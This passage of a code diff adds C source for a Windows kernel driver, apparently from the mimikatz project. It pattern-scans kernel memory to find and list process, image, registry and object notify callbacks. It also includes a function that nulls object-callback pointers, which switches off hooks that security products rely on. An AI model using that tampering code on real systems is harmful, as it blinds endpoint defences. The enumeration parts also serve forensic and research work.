*addressePointeur = *(PUCHAR *)(*addressePointeur);
#endif
if(!*addressePointeur)
status = STATUS_INVALID_HANDLE;
}
return status;
}

View File

@ -0,0 +1,5 @@
#pragma once
#include "k_types.h"
NTSTATUS searchMemory(const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, PUCHAR *addressePattern, SIZE_T longueur);
NTSTATUS genericPointerSearch(PUCHAR *addressePointeur, const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, SIZE_T longueur, LONG offsetTo);

View File

@ -0,0 +1,110 @@
#include "modules.h"
NTSTATUS kModulesList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
{
NTSTATUS status = STATUS_SUCCESS;
ULONG i;
ULONG modulesSize;
AUX_MODULE_EXTENDED_INFO* modules;
ULONG numberOfModules;
*ppszDestEnd = pszDest;
*pcbRemaining= cbDest;
status = AuxKlibInitialize();
if(NT_SUCCESS(status))
{
status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), NULL);
if (NT_SUCCESS(status))
{
if(modulesSize > 0)
{
numberOfModules = modulesSize / sizeof(AUX_MODULE_EXTENDED_INFO);
modules = (AUX_MODULE_EXTENDED_INFO*) ExAllocatePoolWithTag(PagedPool, modulesSize, POOL_TAG);
if(modules != NULL)
{
status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), modules);
if (NT_SUCCESS(status))
{
for(i = 0; i < numberOfModules; i++)
{
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION,
L"%p - %.8u [%S] %S\n",
modules[i].BasicInfo.ImageBase,
modules[i].ImageSize,
modules[i].FullPathName + modules[i].FileNameOffset,
modules[i].FullPathName
);
}
}
ExFreePoolWithTag(modules, POOL_TAG);
}
}
}
}
return status;
}
NTSTATUS getModuleFromAddr(ULONG_PTR theAddr, LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
{
NTSTATUS status = STATUS_SUCCESS;
ULONG i;
ULONG modulesSize;
AUX_MODULE_EXTENDED_INFO* modules;
ULONG numberOfModules;
*ppszDestEnd = pszDest;
*pcbRemaining= cbDest;
status = AuxKlibInitialize();
if(NT_SUCCESS(status))
{
status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), NULL);
if (NT_SUCCESS(status))
{
if(modulesSize > 0)
{
numberOfModules = modulesSize / sizeof(AUX_MODULE_EXTENDED_INFO);
modules = (AUX_MODULE_EXTENDED_INFO*) ExAllocatePoolWithTag(PagedPool, modulesSize, POOL_TAG);
if(modules != NULL)
{
status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), modules);
if (NT_SUCCESS(status))
{
for(i = 0; i < numberOfModules; i++)
{
status = STATUS_NOT_FOUND;
if(theAddr >= (ULONG_PTR) modules[i].BasicInfo.ImageBase && theAddr < ((ULONG_PTR) modules[i].BasicInfo.ImageBase + modules[i].ImageSize))
{
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION,
L"%p [%S+%u]",
theAddr,
modules[i].FullPathName + modules[i].FileNameOffset,
theAddr - (ULONG_PTR) modules[i].BasicInfo.ImageBase
);
break;
}
}
if(status == STATUS_NOT_FOUND)
{
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"%p [?]", theAddr);
if (NT_SUCCESS(status)) status = STATUS_NOT_FOUND;
}
}
ExFreePoolWithTag(modules, POOL_TAG);
}
}
}
}
return status;
}

View File

@ -0,0 +1,7 @@
#pragma once
#include <ntddk.h>
#include <aux_klib.h>
#include "k_types.h"
NTSTATUS kModulesList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
NTSTATUS getModuleFromAddr(ULONG_PTR theAddr, LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);

View File

@ -0,0 +1,19 @@
#pragma once
#include <ntifs.h>
#include "k_types.h"
#include "modules.h"
#include "mod_memory.h"
#include "notify_process.h"
#include "notify_thread.h"
#include "notify_image.h"
#include "notify_reg.h"
#include "notify_object.h"
typedef struct _KIWI_CALLBACK
{
#ifdef _M_IX86
PVOID unk0;
#endif
PVOID * callback;
LARGE_INTEGER * opt_cookie; // structure de feignant pour les process;threads;images aussi
} KIWI_CALLBACK, *PKIWI_CALLBACK;

View File

@ -0,0 +1,117 @@
#include "notify_image.h"
ULONG * PspLoadImageNotifyRoutineCount = NULL;
PVOID * PspLoadImageNotifyRoutine = NULL;
NTSTATUS kListNotifyImages(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
{
NTSTATUS status;
ULONG i;
PKIWI_CALLBACK monCallBack;
*ppszDestEnd = pszDest; *pcbRemaining= cbDest;
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyImages\n\n");
if(NT_SUCCESS(status))
{
status = getPspLoadImageNotifyRoutine();
if(NT_SUCCESS(status))
{
for(i = 0; (i < *PspLoadImageNotifyRoutineCount) && NT_SUCCESS(status); i++)
{
monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(PspLoadImageNotifyRoutine[i]);
if(monCallBack != NULL)
{
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i);
if(NT_SUCCESS(status))
{
status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining);
if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND)
{
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n");
}
}
}
}
}
}
return status;
}
NTSTATUS getPspLoadImageNotifyRoutine()
{
NTSTATUS retour = STATUS_NOT_FOUND;
#ifdef _M_X64
UCHAR PTRN_WNT5_Image[] = {0x48, 0x8d, 0x35};
LONG OFFS_WNT5_Image = sizeof(PTRN_WNT5_Image);
UCHAR PTRN_WNT6_Image[] = {0x48, 0x8d, 0x0d};
LONG OFFS_WNT6_Image = sizeof(PTRN_WNT6_Image);
LONG OFFS_WNT5_Count = - 0x0c;
LONG OFFS_WNT6_Count = sizeof(PVOID) * MAX_NT_PspLoadImageNotifyRoutine;
#elif defined _M_IX86
UCHAR PTRN_WNT5_Image[] = {0x6a, 0x00, 0x53, 0x56};
UCHAR PTRN_WNO8_Image[] = {0x6a, 0x00, 0x8b, 0xcb, 0x8b, 0xc6};
UCHAR PTRN_WIN8_Image[] = {0x33, 0xff, 0x6a, 0x00, 0x53, 0x8b, 0xc6};
LONG OFFS_WALL_Image = -(LONG) sizeof(PVOID);
LONG OFFS_WNT5_Count = - 0x18;
LONG OFFS_WNO8_Count = sizeof(PVOID) * MAX_NT_PspLoadImageNotifyRoutine;
LONG OFFS_WIN8_Count = - 0x20;
#endif
PUCHAR pointeur = NULL, pattern = NULL, refDebut = (PUCHAR) PsSetLoadImageNotifyRoutine, refFin = refDebut + PAGE_SIZE; SIZE_T taille = 0; LONG offsetTo = 0;
LONG offsetToCountEx = 0, offsetToCount = 0;
if(PspLoadImageNotifyRoutine && PspLoadImageNotifyRoutineCount)
{
retour = STATUS_SUCCESS;
}
else
{
if(INDEX_OS < INDEX_VISTA)
{
pattern = PTRN_WNT5_Image;
taille = sizeof(PTRN_WNT5_Image);
#ifdef _M_X64
offsetTo = OFFS_WNT5_Image;
#endif
offsetToCount = OFFS_WNT5_Count;
}
else
{
#ifdef _M_X64
pattern = PTRN_WNT6_Image;
taille = sizeof(PTRN_WNT6_Image);
offsetTo = OFFS_WNT6_Image;
offsetToCount = OFFS_WNT6_Count;
#elif defined _M_IX86
if(INDEX_OS < INDEX_8)
{
pattern = PTRN_WNO8_Image;
taille = sizeof(PTRN_WNO8_Image);
offsetToCount = OFFS_WNO8_Count;
}
else
{
pattern = PTRN_WIN8_Image;
taille = sizeof(PTRN_WIN8_Image);
offsetToCount = OFFS_WIN8_Count;
}
#endif
}
#ifdef _M_IX86
offsetTo = OFFS_WALL_Image;
#endif
retour = genericPointerSearch(&pointeur, refDebut, refFin, pattern, taille, offsetTo);
if(NT_SUCCESS(retour))
{
PspLoadImageNotifyRoutine = (PVOID) (pointeur);
PspLoadImageNotifyRoutineCount = (PULONG) (pointeur + offsetToCount);
if(PspLoadImageNotifyRoutine && PspLoadImageNotifyRoutineCount)
retour = STATUS_SUCCESS;
}
}
return retour;
}

View File

@ -0,0 +1,10 @@
#pragma once
#include "notify.h"
#define MAX_NT_PspLoadImageNotifyRoutine 8
ULONG * PspLoadImageNotifyRoutineCount;
PVOID * PspLoadImageNotifyRoutine;
NTSTATUS getPspLoadImageNotifyRoutine();
NTSTATUS kListNotifyImages(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);

View File

@ -0,0 +1,173 @@
#include "notify_object.h"
POBJECT_DIRECTORY * ObpTypeDirectoryObject = NULL;
const WCHAR *procCallToName[] = {
L"Dump ",
L"Open ",
L"Close ",
L"Delete ",
L"Parse ",
L"Security ",
L"QueryName ",
L"OkayToClose",
};
NTSTATUS kListNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
{
return listNotifyOrClearObjects(pszDest, cbDest, ppszDestEnd, pcbRemaining, ListNotif);
}
NTSTATUS kClearNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
{
return listNotifyOrClearObjects(pszDest, cbDest, ppszDestEnd, pcbRemaining, ClearNotif);
}
NTSTATUS listNotifyOrClearObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_NOTIF_OBJECT_ACTION action)
{
NTSTATUS status;
ULONG i, j;
POBJECT_DIRECTORY_ENTRY monEntree;
POBJECT_TYPE monType, monTypeDecal;
PVOID * miniProc;
POBJECT_CALLBACK_ENTRY pStruct;
*ppszDestEnd = pszDest; *pcbRemaining= cbDest;
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyObjects\n\n");
if(NT_SUCCESS(status))
{
status = getObpTypeDirectoryObject();
if(NT_SUCCESS(status))
{
for(i = 0; (i < OBJECT_HASH_TABLE_SIZE) && NT_SUCCESS(status); i++)
{
if((*ObpTypeDirectoryObject)->HashBuckets[i])
{
for(monEntree = (*ObpTypeDirectoryObject)->HashBuckets[i]; monEntree && NT_SUCCESS(status); monEntree = monEntree->NextEntry)
{
if(monType = monEntree->Object)
{
if(INDEX_OS < INDEX_VISTA)
monType = (POBJECT_TYPE) ((ULONG_PTR) (monType) + sizeof(ERESOURCE));
if(action == ListNotif)
{
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n%wZ\n", &(monType->Name));
for(j = 0; (j < 8) && NT_SUCCESS(status); j++)
{
miniProc = (PVOID *) (((ULONG_PTR) &(monType->TypeInfo)) + FIELD_OFFSET(OBJECT_TYPE_INITIALIZER, DumpProcedure) + sizeof(PVOID)*j
#ifdef _M_IX86
- ((INDEX_OS < INDEX_VISTA) ? sizeof(ULONG) : 0)
#endif
);
if(*miniProc)
{
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" - %ws : ", procCallToName[j]);
if(NT_SUCCESS(status))
{
status = getModuleFromAddr((ULONG_PTR) *miniProc, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining);
if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND)
{
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n");
}
}
}
}
}
if(INDEX_OS >= INDEX_VISTA)
{
if(INDEX_OS < INDEX_7)
monType = (POBJECT_TYPE) ((ULONG_PTR) (monType) + sizeof(ERESOURCE) + 32*sizeof(EX_PUSH_LOCK));
else if (INDEX_OS > INDEX_7)
monType = (POBJECT_TYPE) ((ULONG_PTR) (monType) + sizeof(ULONG) + 2*sizeof(USHORT)); // W8 : nouveaux champs avant les callbacks
for(pStruct = (POBJECT_CALLBACK_ENTRY) (monType->CallbackList.Flink) ; (pStruct != (POBJECT_CALLBACK_ENTRY) &(monType->CallbackList)) && NT_SUCCESS(status) ; pStruct = (POBJECT_CALLBACK_ENTRY) pStruct->CallbackList.Flink)
{
if(pStruct->PreOperation || pStruct->PostOperation)
{
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" * Callback %u : ", pStruct->Operations, pStruct->PreOperation);;
if(NT_SUCCESS(status))
{
status = getModuleFromAddr((ULONG_PTR) pStruct->PreOperation, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining);
if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND)
{
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" / ");
if(NT_SUCCESS(status))
{
status = getModuleFromAddr((ULONG_PTR) pStruct->PostOperation, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining);
if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND)
{
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n");
}
}
}
}
if(action == ClearNotif)
{
pStruct->PreOperation = NULL;
pStruct->PostOperation = NULL;
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" -> NULL !\n");
}
}
}
}
}
}
}
}
}
}
return status;
}
NTSTATUS getObpTypeDirectoryObject()
{
NTSTATUS retour = STATUS_NOT_FOUND;
#ifdef _M_X64
UCHAR PTRN_WALL_Object[] = {0x66, 0x83, 0xf8, 0x5c, 0x0f, 0x84};
LONG OFFS_WNT5_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 8 + 8 + 8 + 3;
LONG OFFS_WNO8_Object = sizeof(PTRN_WALL_Object) + 4 + 3 + 2 + 3;
LONG OFFS_WIN8_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 3;
#elif defined _M_IX86
UCHAR PTRN_WALL_Object[] = {0x5c, 0x0f, 0x84};
LONG OFFS_WNT5_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 2;
LONG OFFS_WNO8_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 1;
LONG OFFS_WIN8_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 2;
#endif
PUCHAR refDebut = NULL, refFin = NULL; LONG offsetTo = 0;
UNICODE_STRING maRoutine;
if(ObpTypeDirectoryObject)
{
retour = STATUS_SUCCESS;
}
else
{
RtlInitUnicodeString(&maRoutine, L"ObCreateObjectType");
if(refDebut = (PUCHAR) MmGetSystemRoutineAddress(&maRoutine))
{
refFin = refDebut + PAGE_SIZE;
if(INDEX_OS < INDEX_8)
{
if(INDEX_OS < INDEX_VISTA)
offsetTo = OFFS_WNT5_Object;
else
{
offsetTo = OFFS_WNO8_Object;
#ifdef _M_X64
refFin = refDebut - PAGE_SIZE;
#endif
}
}
else
offsetTo = OFFS_WIN8_Object;
retour = genericPointerSearch((PUCHAR *) &ObpTypeDirectoryObject, refDebut, refFin, PTRN_WALL_Object, sizeof(PTRN_WALL_Object), offsetTo);
}
}
return retour;
}

View File

@ -0,0 +1,79 @@
#pragma once
#include "notify.h"
#define OBJECT_HASH_TABLE_SIZE 37
typedef struct _OBJECT_DIRECTORY_ENTRY {
struct _OBJECT_DIRECTORY_ENTRY *NextEntry;
PVOID Object;
ULONG HashValue; // pas en NT5
} OBJECT_DIRECTORY_ENTRY, *POBJECT_DIRECTORY_ENTRY;
typedef struct _OBJECT_DIRECTORY {
POBJECT_DIRECTORY_ENTRY HashBuckets[OBJECT_HASH_TABLE_SIZE];
EX_PUSH_LOCK Lock;
PVOID DeviceMap;
ULONG SessionId;
PVOID NamespaceEntry; // a partir de là, différent en NT5, mais pas utilisé...
ULONG Flags;
} OBJECT_DIRECTORY, *POBJECT_DIRECTORY;
typedef struct _OBJECT_TYPE_INITIALIZER // NT6, décaler ULONG en NT5x86 (compensé par l'alignement en x64)
{
SHORT Length;
UCHAR ObjectTypeFlags;
ULONG ObjectTypeCode;
ULONG InvalidAttributes;
GENERIC_MAPPING GenericMapping;
ACCESS_MASK ValidAccessMask;
ULONG RetainAccess;
POOL_TYPE PoolType;
ULONG DefaultPagedPoolCharge;
ULONG DefaultNonPagedPoolCharge;
PVOID DumpProcedure;
PVOID OpenProcedure;
PVOID CloseProcedure;
PVOID DeleteProcedure;
PVOID ParseProcedure;
PVOID SecurityProcedure;
PVOID QueryNameProcedure;
PVOID OkayToCloseProcedure;
} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;
typedef struct _OBJECT_TYPE {
LIST_ENTRY TypeList;
UNICODE_STRING Name;
PVOID DefaultObject;
UCHAR Index;
ULONG TotalNumberOfObjects;
ULONG TotalNumberOfHandles;
ULONG HighWaterNumberOfObjects;
ULONG HighWaterNumberOfHandles;
OBJECT_TYPE_INITIALIZER TypeInfo;
EX_PUSH_LOCK TypeLock;
ULONG Key;
LIST_ENTRY CallbackList;
} OBJECT_TYPE, *POBJECT_TYPE;
typedef struct _OBJECT_CALLBACK_ENTRY {
LIST_ENTRY CallbackList;
OB_OPERATION Operations;
ULONG Active;
/*OB_HANDLE*/ PVOID Handle;
POBJECT_TYPE ObjectType;
POB_PRE_OPERATION_CALLBACK PreOperation;
POB_POST_OPERATION_CALLBACK PostOperation;
} OBJECT_CALLBACK_ENTRY, *POBJECT_CALLBACK_ENTRY;
typedef enum _KIWI_NOTIF_OBJECT_ACTION
{
ListNotif,
ClearNotif
} KIWI_NOTIF_OBJECT_ACTION;
POBJECT_DIRECTORY * ObpTypeDirectoryObject;
NTSTATUS getObpTypeDirectoryObject();
NTSTATUS kListNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
NTSTATUS kClearNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
NTSTATUS listNotifyOrClearObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_NOTIF_OBJECT_ACTION action);

View File

@ -0,0 +1,137 @@
#include "notify_process.h"
ULONG * PspCreateProcessNotifyRoutineCount = NULL;
ULONG * PspCreateProcessNotifyRoutineExCount = NULL;
PVOID * PspCreateProcessNotifyRoutine = NULL;
NTSTATUS kListNotifyProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
{
NTSTATUS status;
ULONG i;
PKIWI_CALLBACK monCallBack;
ULONG bonusCount;
*ppszDestEnd = pszDest; *pcbRemaining= cbDest;
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyProcesses\n\n");
if(NT_SUCCESS(status))
{
status = getPspCreateProcessNotifyRoutine();
if(NT_SUCCESS(status))
{
bonusCount = *PspCreateProcessNotifyRoutineCount + ((INDEX_OS < INDEX_VISTA) ? 0 : *PspCreateProcessNotifyRoutineExCount);
for(i = 0; (i < bonusCount) && NT_SUCCESS(status) ; i++)
{
monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(PspCreateProcessNotifyRoutine[i]);
if(monCallBack != NULL)
{
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i);
if(NT_SUCCESS(status))
{
status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining);
if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND)
{
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n");
}
}
}
}
}
}
return status;
}
NTSTATUS getPspCreateProcessNotifyRoutine()
{
NTSTATUS retour = STATUS_NOT_FOUND;
#ifdef _M_X64
UCHAR PTRN_WNT5_Process[] = {0x41, 0xbc, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xeb};
LONG OFFS_WNT5_Process = -4;
UCHAR PTRN_WNO8_Process[] = {0x40, 0xc0, 0xed, 0x02, 0x41, 0x22, 0xee, 0xa8, 0x02, 0x0f, 0x84};
LONG OFFS_WNO8_Process = sizeof(PTRN_WNO8_Process) + 4 + 3;
UCHAR PTRN_WIN8_Process[] = {0x40, 0xc0, 0xee, 0x02, 0x41, 0x22, 0xf6, 0xa8, 0x02, 0x0f, 0x84};
LONG OFFS_WIN8_Process = sizeof(PTRN_WIN8_Process) + 4 + 3;
PUCHAR REF_D_WNO8_Process = (PUCHAR) CcMdlRead;
PUCHAR REF_F_WNO8_Process = REF_D_WNO8_Process - 25*PAGE_SIZE;
PUCHAR REF_D_WIN8_Process = (PUCHAR) SeImpersonateClientEx;
PUCHAR REF_F_WIN8_Process = REF_D_WIN8_Process + 25*PAGE_SIZE;
LONG OFFS_WNO8_CountEx = sizeof(PVOID) * MAX_NT6_PspCreateProcessNotifyRoutine;
LONG OFFS_WIN8_CountEx = OFFS_WNO8_CountEx;
LONG OFFS_WNT5_Count = sizeof(PVOID) * MAX_NT5_PspCreateProcessNotifyRoutine;
LONG OFFS_WNO8_Count = OFFS_WNO8_CountEx + sizeof(ULONG);
LONG OFFS_WIN8_Count = - 0x18;
#elif defined _M_IX86
UCHAR PTRN_WNT5_Process[] = {0x56, 0x57, 0x74};
LONG OFFS_WNT5_Process = sizeof(PTRN_WNT5_Process) + 2;
UCHAR PTRN_WNO8_Process[] = {0x33, 0xdb, 0xc7, 0x45};
LONG OFFS_WNO8_Process = sizeof(PTRN_WNO8_Process) + 1;
UCHAR PTRN_WIN8_Process[] = {0x33, 0xdb, 0x89, 0x5d, 0x0c, 0xbe};
LONG OFFS_WIN8_Process = sizeof(PTRN_WIN8_Process);
PUCHAR REF_D_WNO8_Process = (PUCHAR) PsSetCreateProcessNotifyRoutine;
PUCHAR REF_F_WNO8_Process = REF_D_WNO8_Process + 25*PAGE_SIZE;
PUCHAR REF_D_WIN8_Process = (PUCHAR) IoConnectInterrupt;
PUCHAR REF_F_WIN8_Process = REF_D_WIN8_Process - 25*PAGE_SIZE;
LONG OFFS_WNO8_CountEx = sizeof(PVOID) * MAX_NT6_PspCreateProcessNotifyRoutine;
LONG OFFS_WIN8_CountEx = - 0x20;
LONG OFFS_WNT5_Count = sizeof(PVOID) * MAX_NT5_PspCreateProcessNotifyRoutine;
LONG OFFS_WNO8_Count = OFFS_WNO8_CountEx + sizeof(ULONG);
LONG OFFS_WIN8_Count = OFFS_WIN8_CountEx - sizeof(ULONG);
#endif
PUCHAR pointeur = NULL, pattern = NULL, refDebut = NULL, refFin = NULL; SIZE_T taille = 0; LONG offsetTo = 0;
LONG offsetToCountEx = 0, offsetToCount = 0;
if(PspCreateProcessNotifyRoutine && ((INDEX_OS < INDEX_VISTA) || PspCreateProcessNotifyRoutineExCount) && PspCreateProcessNotifyRoutineCount)
{
retour = STATUS_SUCCESS;
}
else
{
if(INDEX_OS < INDEX_8)
{
if(INDEX_OS < INDEX_VISTA)
{
pattern = PTRN_WNT5_Process;
taille = sizeof(PTRN_WNT5_Process);
offsetTo = OFFS_WNT5_Process;
offsetToCount = OFFS_WNT5_Count;
}
else
{
pattern = PTRN_WNO8_Process;
taille = sizeof(PTRN_WNO8_Process);
offsetTo = OFFS_WNO8_Process;
offsetToCountEx = OFFS_WNO8_CountEx;
offsetToCount = OFFS_WNO8_Count;
}
refDebut = REF_D_WNO8_Process;
refFin = REF_F_WNO8_Process;
}
else
{
pattern = PTRN_WIN8_Process;
taille = sizeof(PTRN_WIN8_Process);
offsetTo = OFFS_WIN8_Process;
refDebut = REF_D_WIN8_Process;
refFin = REF_F_WIN8_Process;
offsetToCountEx = OFFS_WIN8_CountEx;
offsetToCount = OFFS_WIN8_Count;
}
retour = genericPointerSearch(&pointeur, refDebut, refFin, pattern, taille, offsetTo);
if(NT_SUCCESS(retour))
{
PspCreateProcessNotifyRoutine = (PVOID) (pointeur);
PspCreateProcessNotifyRoutineCount = (PULONG) (pointeur + offsetToCount);
if(INDEX_OS >= INDEX_VISTA)
PspCreateProcessNotifyRoutineExCount = (PULONG) (pointeur + offsetToCountEx);
if(PspCreateProcessNotifyRoutine && ((INDEX_OS < INDEX_VISTA) || PspCreateProcessNotifyRoutineExCount) && PspCreateProcessNotifyRoutineCount)
retour = STATUS_SUCCESS;
}
}
return retour;
}

View File

@ -0,0 +1,12 @@
#pragma once
#include "notify.h"
#define MAX_NT6_PspCreateProcessNotifyRoutine 64
#define MAX_NT5_PspCreateProcessNotifyRoutine 8
ULONG * PspCreateProcessNotifyRoutineCount;
ULONG * PspCreateProcessNotifyRoutineExCount;
PVOID * PspCreateProcessNotifyRoutine;
NTSTATUS getPspCreateProcessNotifyRoutine();
NTSTATUS kListNotifyProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);

View File

@ -0,0 +1,137 @@
#include "notify_reg.h"
ULONG * CmpCallBackCount = NULL;
PVOID * CmpCallBackVector = NULL;
PLIST_ENTRY CallbackListHead = NULL;
NTSTATUS kListNotifyRegistry(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
{
NTSTATUS status;
ULONG i;
PKIWI_CALLBACK monCallBack;
PLIST_ENTRY maListe;
PKIWI_REGISTRY6_CALLBACK monCallBack6;
*ppszDestEnd = pszDest; *pcbRemaining= cbDest;
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyRegistry\n\n");
if(NT_SUCCESS(status))
{
status = getNotifyRegistryRoutine();
if(NT_SUCCESS(status))
{
if(INDEX_OS < INDEX_VISTA)
{
for(i = 0; (i < *CmpCallBackCount) && NT_SUCCESS(status) ; i++)
{
monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(CmpCallBackVector[i]);
if(monCallBack != NULL)
{
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i);
if(NT_SUCCESS(status))
{
status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining);
if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND)
{
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION,
L" - cookie %#.I64x\n", *(monCallBack->opt_cookie)
);
}
}
}
}
}
else
{
for(maListe = CallbackListHead->Flink, i = 0; (maListe != CallbackListHead) && NT_SUCCESS(status) ; maListe = maListe->Flink, i++)
{
monCallBack6 = (PKIWI_REGISTRY6_CALLBACK) (((ULONG_PTR) maListe) + sizeof(LIST_ENTRY) + 2*((INDEX_OS < INDEX_7) ? sizeof(PVOID) : sizeof(ULONG)));
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i);
if(NT_SUCCESS(status))
{
status = getModuleFromAddr((ULONG_PTR) monCallBack6->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining);
if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND)
{
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION,
L" - alt %wZ - cookie %#.I64x\n", &(monCallBack6->altitude), monCallBack6->cookie);
}
}
}
}
}
}
return status;
}
NTSTATUS getNotifyRegistryRoutine()
{
NTSTATUS retour = STATUS_NOT_FOUND;
#ifdef _M_X64
UCHAR PTRN_WNT5_Vector[]= {0x4c, 0x8d, 0x3d};
UCHAR PTRN_WNT5_Count[] = {0x0f, 0xc1, 0x05};
UCHAR PTRN_WN60_Head[] = {0x48, 0x8b, 0xf0, 0x48};
LONG OFFS_WN60_Head = -9;
UCHAR PTRN_WALL_Head[] = {0x48, 0x8b, 0xf8, 0x48};
LONG OFFS_WALL_Head = -9;
#elif defined _M_IX86
UCHAR PTRN_WNT5_Vector[]= {0x53, 0x56, 0x57, 0xbb};
UCHAR PTRN_WNT5_Count[] = {0xff, 0xb9};
UCHAR PTRN_WN60_Head[] = {0x8b, 0xcb, 0xe8};
LONG OFFS_WN60_Head = 12;
UCHAR PTRN_WN61_Head[] = {0x8b, 0xc7, 0xe8};
